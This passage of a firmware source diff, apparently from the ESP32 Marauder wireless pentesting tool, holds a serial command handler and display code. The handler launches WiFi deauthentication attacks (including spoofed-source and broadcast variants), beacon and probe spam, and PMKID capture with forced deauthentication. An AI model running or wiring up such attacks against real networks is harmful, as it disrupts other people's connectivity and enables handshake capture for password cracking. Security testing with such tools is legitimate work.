+    Serial.println(HELP_ATTACK_CMD);
+    
+    // WiFi Aux
+    Serial.println(HELP_LIST_AP_CMD_A);
+    Serial.println(HELP_LIST_AP_CMD_B);
+    Serial.println(HELP_LIST_AP_CMD_C);
+    Serial.println(HELP_SEL_CMD_A);
+    Serial.println(HELP_SSID_CMD_A);
+    Serial.println(HELP_SSID_CMD_B);
+    
+    // Bluetooth sniff/scan
+    Serial.println(HELP_BT_SNIFF_CMD);
+    Serial.println(HELP_BT_SKIM_CMD);
+    Serial.println(HELP_FOOT);
+    return;
+  }
+
+  // Stop Scan
+  if (cmd_args.get(0) == STOPSCAN_CMD) {
+    if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
+      wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+      //#ifdef HAS_SCREEN
+      //  menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
+      //#endif
+      WiFi.softAPdisconnect(true);
+      web_obj.shutdownServer();
+      return;
+    }
+    
+    wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+
+    Serial.println("Stopping WiFi tran/recv");
+
+    // If we don't do this, the text and button coordinates will be off
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      menu_function_obj.changeMenu(menu_function_obj.current_menu);
+    #endif
+  }
+  // Channel command
+  else if (cmd_args.get(0) == CH_CMD) {
+    // Search for channel set arg
+    int ch_set = this->argSearch(&cmd_args, "-s");
+    
+    if (cmd_args.size() == 1) {
+      Serial.println("Current channel: " + (String)wifi_scan_obj.set_channel);
+    }
+    else if (ch_set != -1) {
+      wifi_scan_obj.set_channel = cmd_args.get(ch_set + 1).toInt();
+      wifi_scan_obj.changeChannel();
+      Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
+    }
+  }
+  else if (cmd_args.get(0) == CAM_FLASHLIGHT) {
+    pinMode(4, OUTPUT);
+    digitalWrite(4, !digitalRead(4));
+  }
+
+  else if (cmd_args.get(0) == CAM_PHOTO) {
+    Serial.println("Camera capture start");
+    // Initialize the camera
+    configESPCamera(); Serial.println("Camera OK!");
+
+    // Initialize the MicroSD
+    Serial.print("Initializing the MicroSD card module... ");
+    initMicroSDCard();
+
+    int i = 0;
+    while (true)
+    {
+      String path = "/photo_" + String(i++) + ".jpg";
+      if (!SD_MMC.exists(path.c_str()))
+      {
+        takeNewPhoto(path, true);
+        break;
+      }
+    }
+    Serial.println("Camera capture finish");
+  }
+  // Clear APs
+  else if (cmd_args.get(0) == CLEARAP_CMD) {
+    int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
+    int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
+    int cl_sw = this->argSearch(&cmd_args, "-c"); // Stations
+
+    if (ap_sw != -1) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
+      #endif
+      wifi_scan_obj.RunClearAPs();
+    }
+
+    if (ss_sw != -1) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.changeMenu(&menu_function_obj.clearSSIDsMenu);
+      #endif
+      wifi_scan_obj.RunClearSSIDs();
+    }
+
+    if (cl_sw != -1) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
+      #endif
+      wifi_scan_obj.RunClearStations();
+    }
+  }
+
+  else if (cmd_args.get(0) == SETTINGS_CMD) {
+    int ss_sw = this->argSearch(&cmd_args, "-s"); // Set setting
+    int re_sw = this->argSearch(&cmd_args, "-r"); // Reset setting
+    int en_sw = this->argSearch(&cmd_args, "enable"); // enable setting
+    int da_sw = this->argSearch(&cmd_args, "disable"); // disable setting
+
+    if (re_sw != -1) {
+      settings_obj.createDefaultSettings(SPIFFS);
+      return;
+    }
+
+    if (ss_sw == -1) {
+      settings_obj.printJsonSettings(settings_obj.getSettingsString());
+    }
+    else {
+      bool result = false;
+      String setting_name = cmd_args.get(ss_sw + 1);
+      if (en_sw != -1)
+        result = settings_obj.saveSetting<bool>(setting_name, true);
+      else if (da_sw != -1)
+        result = settings_obj.saveSetting<bool>(setting_name, false);
+      else {
+        Serial.println("You did not properly enable/disable this setting.");
+        return;
+      }
+
+      if (!result) {
+        Serial.println("Could not successfully update setting \"" + setting_name + "\"");
+        return;
+      }
+    }
+  }
+
+  else if (cmd_args.get(0) == REBOOT_CMD) {
+    Serial.println("Rebooting...");
+    ESP.restart();
+  }
+
+  //// WiFi/Bluetooth Scan/Attack commands
+  if (!wifi_scan_obj.scanning()) {
+
+    // AP Scan
+    if (cmd_args.get(0) == SCANAP_CMD) {
+      int full_sw = -1;
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+
+      if (full_sw == -1) {
+        Serial.println("Starting AP scan. Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
+      }
+      else {
+        Serial.println("Starting Full AP scan. Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP_FULL, TFT_MAGENTA);
+      }
+    }
+    // Raw sniff
+    else if (cmd_args.get(0) == SNIFF_RAW_CMD) {
+      Serial.println("Starting Raw sniff. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
+    }
+    // Scan stations
+    else if (cmd_args.get(0) == SCANSTA_CMD) {    
+      Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);  
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_ORANGE);
+    }
+    // Beacon sniff
+    else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
+      Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_AP, TFT_MAGENTA);
+    }
+    // Probe sniff
+    else if (cmd_args.get(0) == SNIFF_PROBE_CMD) {
+      Serial.println("Starting Probe sniff. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_PROBE, TFT_MAGENTA);
+    }
+    // Deauth sniff
+    else if (cmd_args.get(0) == SNIFF_DEAUTH_CMD) {
+      Serial.println("Starting Deauth sniff. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
+    }
+    // Pwn sniff
+    else if (cmd_args.get(0) == SNIFF_PWN_CMD) {
+      Serial.println("Starting Pwnagotchi sniff. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_MAGENTA);
+    }
+    // Espressif sniff
+    else if (cmd_args.get(0) == SNIFF_ESP_CMD) {
+      Serial.println("Starting Espressif device sniff. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_MAGENTA);
+    }
+    // PMKID sniff
+    else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
+      int ch_sw = this->argSearch(&cmd_args, "-c");
+      int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
+      
+      if (ch_sw != -1) {
+        wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
+        wifi_scan_obj.changeChannel();
+        Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
+        
+      }
+
+      if (d_sw == -1) {
+        Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+      }
+      else {
+        Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
+      }
+    }
+
+    //// WiFi attack commands
+    // attack
+    if (cmd_args.get(0) == ATTACK_CMD) {
+      int attack_type_switch = this->argSearch(&cmd_args, "-t"); // Required
+      int list_beacon_sw = this->argSearch(&cmd_args, "-l");
+      int rand_beacon_sw = this->argSearch(&cmd_args, "-r");
+      int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
+      int src_addr_sw = this->argSearch(&cmd_args, "-s");
+      int dst_addr_sw = this->argSearch(&cmd_args, "-d");
+      int targ_sw = this->argSearch(&cmd_args, "-c");
+  
+      if (attack_type_switch == -1) {
+        Serial.println("You must specify an attack type");
+        return;
+      }
+      else {
+        String attack_type = cmd_args.get(attack_type_switch + 1);
+  
+        // Branch on attack type
+        // Deauth
+        if (attack_type == ATTACK_TYPE_DEAUTH) {
+          // Default to broadcast
+          if ((dst_addr_sw == -1) && (targ_sw == -1)) {
+            Serial.println("Sending to broadcast...");
+            wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
+          }
+          // Dest addr specified
+          else if (dst_addr_sw != -1) {
+            wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
+            Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
+          }
+          // Station list specified
+          else if (targ_sw != -1)
+            Serial.println("Sending to Station list");
+
+          // Source addr not specified
+          if (src_addr_sw == -1) {
+            if (!this->apSelected()) {
+              Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+              return;
+            }
+            #ifdef HAS_SCREEN
+              display_obj.clearScreen();
+              menu_function_obj.drawStatusBar();
+            #endif
+            Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
+            // Station list not specified
+            if (targ_sw == -1)
+              wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
+            // Station list specified
+            else
+              wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
+          }
+          // Source addr specified
+          else {
+            String src_mac_str = cmd_args.get(src_addr_sw + 1);
+            sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+              &wifi_scan_obj.src_mac[0], &wifi_scan_obj.src_mac[1], &wifi_scan_obj.src_mac[2], &wifi_scan_obj.src_mac[3], &wifi_scan_obj.src_mac[4], &wifi_scan_obj.src_mac[5]);
+
+            #ifdef HAS_SCREEN
+              display_obj.clearScreen();
+              menu_function_obj.drawStatusBar();
+            #endif
+            Serial.println("Starting Manual Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
+            wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_MANUAL, TFT_RED);            
+          }
+        }
+        // Beacon
+        else if (attack_type == ATTACK_TYPE_BEACON) {
+          // spam by list
+          if (list_beacon_sw != -1) {
+            if (!this->hasSSIDs()) {
+              Serial.println("You don't have any SSIDs in your list. Use " + (String)SSID_CMD);
+              return;
+            }
+            #ifdef HAS_SCREEN
+              display_obj.clearScreen();
+              menu_function_obj.drawStatusBar();
+            #endif
+            Serial.println("Starting Beacon list spam. Stop with " + (String)STOPSCAN_CMD);
+            wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_LIST, TFT_RED);
+          }
+          // spam with random
+          else if (rand_beacon_sw != -1) {
+            #ifdef HAS_SCREEN
+              display_obj.clearScreen();
+              menu_function_obj.drawStatusBar();
+            #endif
+            Serial.println("Starting random Beacon spam. Stop with " + (String)STOPSCAN_CMD);
+            wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_SPAM, TFT_ORANGE);
+          }
+          // Spam from AP list
+          else if (ap_beacon_sw != -1) {
+            if (!this->apSelected()) {
+              Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+              return;
+            }
+            #ifdef HAS_SCREEN
+              display_obj.clearScreen();
+              menu_function_obj.drawStatusBar();
+            #endif
+            Serial.println("Starting Targeted AP Beacon spam. Stop with " + (String)STOPSCAN_CMD);
+            wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
+          }
+          else {
+            Serial.println("You did not specify a beacon attack type");
+          }
+        }
+        else if (attack_type == ATTACK_TYPE_PROBE) {
+          if (!this->apSelected()) {
+            Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+            return;
+          }
+          Serial.println("Starting Probe spam. Stop with " + (String)STOPSCAN_CMD);
+          #ifdef HAS_SCREEN
+            display_obj.clearScreen();
+            menu_function_obj.drawStatusBar();
+          #endif
+          wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
+        }
+        else if (attack_type == ATTACK_TYPE_RR) {
+          Serial.println("Starting Rick Roll Beacon spam. Stop with " + (String)STOPSCAN_CMD);
+          #ifdef HAS_SCREEN
+            display_obj.clearScreen();
+            menu_function_obj.drawStatusBar();
+          #endif
+          wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
+        }
+        else {
+          Serial.println("Attack type not properly defined");
+          return;
+        }
+      }
+    }
+
+    //// Bluetooth scan/attack commands
+    // Bluetooth scan
+    if (cmd_args.get(0) == BT_SNIFF_CMD) {
+      Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
+    }
+    // Bluetooth CC Skimmer scan
+    else if (cmd_args.get(0) == BT_SKIM_CMD) {
+      Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
+    }
+
+    // Update command
+    if (cmd_args.get(0) == UPDATE_CMD) {
+      int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
+      int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
+
+      // Update via OTA
+      if (w_sw != -1) {
+        Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.currentScanMode = OTA_UPDATE;
+        //#ifdef HAS_SCREEN
+        //  menu_function_obj.changeMenu(menu_function_obj.updateMenu);
+        //#endif
+        web_obj.setupOTAupdate();
+      }
+      // Update via SD
+      else if (sd_sw != -1) {
+        if (!sd_obj.supported) {
+          Serial.println("SD card is not connected. Cannot perform SD Update");
+          return;
+        }
+        wifi_scan_obj.currentScanMode = OTA_UPDATE;
+        sd_obj.runUpdate();
+      }
+    }
+  }
+
+
+  //// WiFi aux commands
+  // List access points
+  if (cmd_args.get(0) == LIST_AP_CMD) {
+    int ap_sw = this->argSearch(&cmd_args, "-a");
+    int ss_sw = this->argSearch(&cmd_args, "-s");
+    int cl_sw = this->argSearch(&cmd_args, "-c");
+
+    // List APs
+    if (ap_sw != -1) {
+      for (int i = 0; i < access_points->size(); i++) {
+        if (access_points->get(i).selected)
+          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
+        else
+          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
+      }
+    }
+    // List SSIDs
+    else if (ss_sw != -1) {
+      for (int i = 0; i < ssids->size(); i++) {
+        if (ssids->get(i).selected)
+          Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
+        else
+          Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
+      }
+    }
+    // List Stations
+    else if (cl_sw != -1) {
+      char sta_mac[] = "00:00:00:00:00:00";
+      for (int x = 0; x < access_points->size(); x++) {
+        Serial.println("[" + (String)x + "] " + access_points->get(x).essid + " " + (String)access_points->get(x).rssi + ":");
+        for (int i = 0; i < access_points->get(x).stations->size(); i++) {
+          wifi_scan_obj.getMAC(sta_mac, stations->get(access_points->get(x).stations->get(i)).mac, 0);
+          if (stations->get(access_points->get(x).stations->get(i)).selected) {
+            Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
+            Serial.print(sta_mac);
+            Serial.println(" (selected)");
+          }
+          else {
+            Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
+            Serial.println(sta_mac);
+          }
+        }
+      }
+    }
+    else {
+      Serial.println("You did not specify which list to show");
+      return;
+    }
+  }
+  // Select access points or stations
+  else if (cmd_args.get(0) == SEL_CMD) {
+    // Get switches
+    int ap_sw = this->argSearch(&cmd_args, "-a");
+    int ss_sw = this->argSearch(&cmd_args, "-s");
+    int cl_sw = this->argSearch(&cmd_args, "-c");
+
+    // select Access points
+    if (ap_sw != -1) {
+      // Get list of indices
+      LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
+
+      // Select ALL APs
+      if (cmd_args.get(ap_sw + 1) == "all") {
+        for (int i = 0; i < access_points->size(); i++) {
+          if (access_points->get(i).selected) {
+            // Unselect "selected" ap
+            AccessPoint new_ap = access_points->get(i);
+            new_ap.selected = false;
+            access_points->set(i, new_ap);
+          }
+          else {
+            // Select "unselected" ap
+            AccessPoint new_ap = access_points->get(i);
+            new_ap.selected = true;
+            access_points->set(i, new_ap);
+          }
+        }
+      }
+      // Select specific APs
+      else {
+        // Mark APs as selected
+        for (int i = 0; i < ap_index.size(); i++) {
+          int index = ap_index.get(i).toInt();
+          if (!this->inRange(access_points->size(), index)) {
+            Serial.println("Index not in range: " + (String)index);
+            continue;
+          }
+          if (access_points->get(index).selected) {
+            // Unselect "selected" ap
+            AccessPoint new_ap = access_points->get(index);
+            new_ap.selected = false;
+            access_points->set(index, new_ap);
+          }
+          else {
+            // Select "unselected" ap
+            AccessPoint new_ap = access_points->get(index);
+            new_ap.selected = true;
+            access_points->set(index, new_ap);
+          }
+        }
+      }
+    }
+    else if (cl_sw != -1) {
+      LinkedList<String> sta_index = this->parseCommand(cmd_args.get(cl_sw + 1), ",");
+      
+      // Select all Stations
+      if (cmd_args.get(cl_sw + 1) == "all") {
+        for (int i = 0; i < stations->size(); i++) {
+          if (stations->get(i).selected) {
+            // Unselect "selected" ap
+            Station new_sta = stations->get(i);
+            new_sta.selected = false;
+            stations->set(i, new_sta);
+          }
+          else {
+            // Select "unselected" ap
+            Station new_sta = stations->get(i);
+            new_sta.selected = true;
+            stations->set(i, new_sta);
+          }
+        }
+      }
+      // Select specific Stations
+      else {
+        // Mark Stations as selected
+        for (int i = 0; i < sta_index.size(); i++) {
+          int index = sta_index.get(i).toInt();
+          if (!this->inRange(stations->size(), index)) {
+            Serial.println("Index not in range: " + (String)index);
+            continue;
+          }
+          if (stations->get(index).selected) {
+            // Unselect "selected" ap
+            Station new_sta = stations->get(index);
+            new_sta.selected = false;
+            stations->set(index, new_sta);
+          }
+          else {
+            // Select "unselected" ap
+            Station new_sta = stations->get(index);
+            new_sta.selected = true;
+            stations->set(index, new_sta);
+          }
+        }
+      }
+    }
+    // select ssids
+    else if (ss_sw != -1) {
+      // Get list of indices
+      LinkedList<String> ss_index = this->parseCommand(cmd_args.get(ss_sw + 1), ",");
+
+      // Mark APs as selected
+      for (int i = 0; i < ss_index.size(); i++) {
+        int index = ss_index.get(i).toInt();
+        if (!this->inRange(ssids->size(), index)) {
+          Serial.println("Index not in range: " + (String)index);
+          continue;
+        }
+        if (ssids->get(index).selected) {
+          // Unselect "selected" ap
+          ssid new_ssid = ssids->get(index);
+          new_ssid.selected = false;
+          ssids->set(index, new_ssid);
+        }
+        else {
+          // Select "unselected" ap
+          ssid new_ssid = ssids->get(index);
+          new_ssid.selected = true;
+          ssids->set(index, new_ssid);
+        }
+      }
+    }
+    else {
+      Serial.println("You did not specify which list to select from");
+      return;
+    }
+  }
+  // SSID stuff
+  else if (cmd_args.get(0) == SSID_CMD) {
+    int add_sw = this->argSearch(&cmd_args, "-a");
+    int gen_sw = this->argSearch(&cmd_args, "-g");
+    int spc_sw = this->argSearch(&cmd_args, "-n");
+    int rem_sw = this->argSearch(&cmd_args, "-r");
+
+    // Add ssid
+    if (add_sw != -1) {
+      // Generate random
+      if (gen_sw != -1) {
+        int gen_count = cmd_args.get(gen_sw + 1).toInt();
+        wifi_scan_obj.generateSSIDs(gen_count);
+      }
+      // Add specific
+      else if (spc_sw != -1) {
+        String essid = cmd_args.get(spc_sw + 1);
+        wifi_scan_obj.addSSID(essid);
+      }
+      else {
+        Serial.println("You did not specify how to add SSIDs");
+      }
+    }
+    // Remove SSID
+    else if (rem_sw != -1) {
+      int index = cmd_args.get(rem_sw + 1).toInt();
+      if (!this->inRange(ssids->size(), index)) {
+        Serial.println("Index not in range: " + (String)index);
+        return;
+      }
+      ssids->remove(index);
+    }
+    else {
+      Serial.println("You did not specify whether to add or remove SSIDs");
+      return;
+    }
+  }
+}

+ 801 - 0
esp32cam_marauder/Display.cpp

@@ -0,0 +1,801 @@
+#include "Display.h"
+#include "lang_var.h"
+
+#ifdef HAS_SCREEN
+
+Display::Display()
+{
+}
+
+// Function to prepare the display and the menus
+void Display::RunSetup()
+{
+  run_setup = false;
+
+  // Need to declare new
+  display_buffer = new LinkedList<String>();
+
+  #ifdef SCREEN_BUFFER
+    screen_buffer = new LinkedList<String>();
+  #endif
+  
+  tft.init();
+  tft.setRotation(0); // Portrait
+
+  tft.setCursor(0, 0);
+
+  #ifndef MARAUDER_MINI
+
+    #ifdef TFT_SHIELD
+      uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
+      //Serial.println(F("Using TFT Shield"));
+    #else if defined(TFT_DIY)
+      uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; // tft.setRotation(0); // Portrait with DIY TFT
+      //Serial.println(F("Using TFT DIY"));
+    #endif
+    tft.setTouch(calData);
+
+  #endif
+
+  //tft.fillScreen(TFT_BLACK);
+  clearScreen();
+
+  //Serial.println("SPI_FREQUENCY: " + (String)SPI_FREQUENCY);
+  //Serial.println("SPI_READ_FREQUENCY:" + (String)SPI_READ_FREQUENCY);
+  //Serial.println("SPI_TOUCH_FREQUENCY: " + (String)SPI_TOUCH_FREQUENCY);
+
+  #ifdef KIT
+    pinMode(KIT_LED_BUILTIN, OUTPUT);
+  #endif
+}
+
+void Display::drawFrame()
+{
+  tft.drawRect(FRAME_X, FRAME_Y, FRAME_W, FRAME_H, TFT_BLACK);
+}
+
+void Display::tftDrawRedOnOffButton() {
+  tft.fillRect(REDBUTTON_X, REDBUTTON_Y, REDBUTTON_W, REDBUTTON_H, TFT_RED);
+  tft.fillRect(GREENBUTTON_X, GREENBUTTON_Y, GREENBUTTON_W, GREENBUTTON_H, TFT_DARKGREY);
+  drawFrame();
+  tft.setTextColor(TFT_WHITE);
+  tft.setTextSize(2);
+  tft.setTextDatum(MC_DATUM);
+  tft.drawString(text03, GREENBUTTON_X + (GREENBUTTON_W / 2), GREENBUTTON_Y + (GREENBUTTON_H / 2));
+  this->SwitchOn = false;
+}
+
+void Display::tftDrawGreenOnOffButton() {
+  tft.fillRect(GREENBUTTON_X, GREENBUTTON_Y, GREENBUTTON_W, GREENBUTTON_H, TFT_GREEN);
+  tft.fillRect(REDBUTTON_X, REDBUTTON_Y, REDBUTTON_W, REDBUTTON_H, TFT_DARKGREY);
+  drawFrame();
+  tft.setTextColor(TFT_WHITE);
+  tft.setTextSize(2);
+  tft.setTextDatum(MC_DATUM);
+  tft.drawString(text04, REDBUTTON_X + (REDBUTTON_W / 2) + 1, REDBUTTON_Y + (REDBUTTON_H / 2));
+  this->SwitchOn = true;
+}
+
+void Display::tftDrawGraphObjects(byte x_scale)
+{
+  //draw the graph objects
+  tft.fillRect(11, 5, x_scale+1, 120, TFT_BLACK); // positive start point
+  tft.fillRect(11, 121, x_scale+1, 119, TFT_BLACK); // negative start point
+  tft.drawFastVLine(10, 5, 230, TFT_WHITE); // y axis
+  tft.drawFastHLine(10, HEIGHT_1 - 1, 310, TFT_WHITE); // x axis
+  tft.setTextColor(TFT_YELLOW); tft.setTextSize(1); // set parameters for y axis labels
+  //tft.setCursor(3, 116); tft.print(midway);  // "0" at center of ya axis
+  tft.setCursor(3, 6); tft.print("+"); // "+' at top of y axis
+  tft.setCursor(3, 228); tft.print("0"); // "-" at bottom of y axis
+}
+
+void Display::tftDrawEapolColorKey()
+{
+  //Display color key
+  tft.setTextSize(1); tft.setTextColor(TFT_WHITE);
+  tft.fillRect(14, 0, 15, 8, TFT_CYAN); tft.setCursor(30, 0); tft.print(" - EAPOL"); 
+}
+
+void Display::tftDrawColorKey()
+{
+  //Display color key
+  tft.setTextSize(1); tft.setTextColor(TFT_WHITE);
+  tft.fillRect(14, 0, 15, 8, TFT_GREEN); tft.setCursor(30, 0); tft.print(" - Beacons"); 
+  tft.fillRect(14, 8, 15, 8, TFT_RED); tft.setCursor(30, 8); tft.print(" - Deauths");
+  tft.fillRect(14, 16, 15, 8, TFT_BLUE); tft.setCursor(30, 16); tft.print(" - Probes");
+}
+
+void Display::tftDrawXScaleButtons(byte x_scale)
+{
+  tft.drawFastVLine(234, 0, 20, TFT_WHITE);
+  tft.setCursor(208, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("X Scale:"); tft.print(x_scale);
+
+  key[0].initButton(&tft, // x - box
+                        220,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_BLACK, // Outline
+                        TFT_CYAN, // Fill
+                        TFT_BLACK, // Text
+                        "-",
+                        2);
+  key[1].initButton(&tft, // x + box
+                        249,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_BLACK, // Outline
+                        TFT_CYAN, // Fill
+                        TFT_BLACK, // Text
+                        "+",
+                        2);
+
+  key[0].setLabelDatum(1, 5, MC_DATUM);
+  key[1].setLabelDatum(1, 5, MC_DATUM);
+
+  key[0].drawButton();
+  key[1].drawButton();
+}
+
+void Display::tftDrawYScaleButtons(byte y_scale)
+{
+  tft.drawFastVLine(290, 0, 20, TFT_WHITE);
+  tft.setCursor(265, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("Y Scale:"); tft.print(y_scale);
+
+  key[2].initButton(&tft, // y - box
+                        276,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_BLACK, // Outline
+                        TFT_MAGENTA, // Fill
+                        TFT_BLACK, // Text
+                        "-",
+                        2);
+  key[3].initButton(&tft, // y + box
+                        305,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_BLACK, // Outline
+                        TFT_MAGENTA, // Fill
+                        TFT_BLACK, // Text
+                        "+",
+                        2);
+
+  key[2].setLabelDatum(1, 5, MC_DATUM);
+  key[3].setLabelDatum(1, 5, MC_DATUM);
+
+  key[2].drawButton();
+  key[3].drawButton();
+}
+
+void Display::tftDrawChannelScaleButtons(int set_channel)
+{
+  tft.drawFastVLine(178, 0, 20, TFT_WHITE);
+  tft.setCursor(145, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print(text10); tft.print(set_channel);
+
+  key[4].initButton(&tft, // channel - box
+                        164,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_BLACK, // Outline
+                        TFT_BLUE, // Fill
+                        TFT_BLACK, // Text
+                        "-",
+                        2);
+  key[5].initButton(&tft, // channel + box
+                        193,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_BLACK, // Outline
+                        TFT_BLUE, // Fill
+                        TFT_BLACK, // Text
+                        "+",
+                        2);
+
+  key[4].setLabelDatum(1, 5, MC_DATUM);
+  key[5].setLabelDatum(1, 5, MC_DATUM);
+
+  key[4].drawButton();
+  key[5].drawButton();
+}
+
+void Display::tftDrawExitScaleButtons()
+{
+  //tft.drawFastVLine(178, 0, 20, TFT_WHITE);
+  //tft.setCursor(145, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("Channel:"); tft.print(set_channel);
+
+  key[6].initButton(&tft, // Exit box
+                        137,
+                        10, // x, y, w, h, outline, fill, text
+                        20,
+                        20,
+                        TFT_ORANGE, // Outline
+                        TFT_RED, // Fill
+                        TFT_BLACK, // Text
+                        "X",
+                        2);
+
+  key[6].setLabelDatum(1, 5, MC_DATUM);
+
+  key[6].drawButton();
+}
+
+void Display::twoPartDisplay(String center_text)
+{
+  tft.setTextColor(TFT_BLACK, TFT_YELLOW);
+  tft.fillRect(0,16,HEIGHT_1,144, TFT_YELLOW);
+  //tft.drawCentreString(center_text,120,82,1);
+  tft.setTextWrap(true);
+  tft.setFreeFont(NULL);
+  //showCenterText(center_text, 82);
+  //tft.drawCentreString(center_text,120,82,1);
+  tft.setCursor(0, 82);
+  tft.println(center_text);
+  tft.setFreeFont(MENU_FONT);
+  tft.setTextWrap(false);
+}
+
+void Display::touchToExit()
+{
+  tft.setTextColor(TFT_BLACK, TFT_LIGHTGREY);
+  tft.fillRect(0,32,HEIGHT_1,16, TFT_LIGHTGREY);
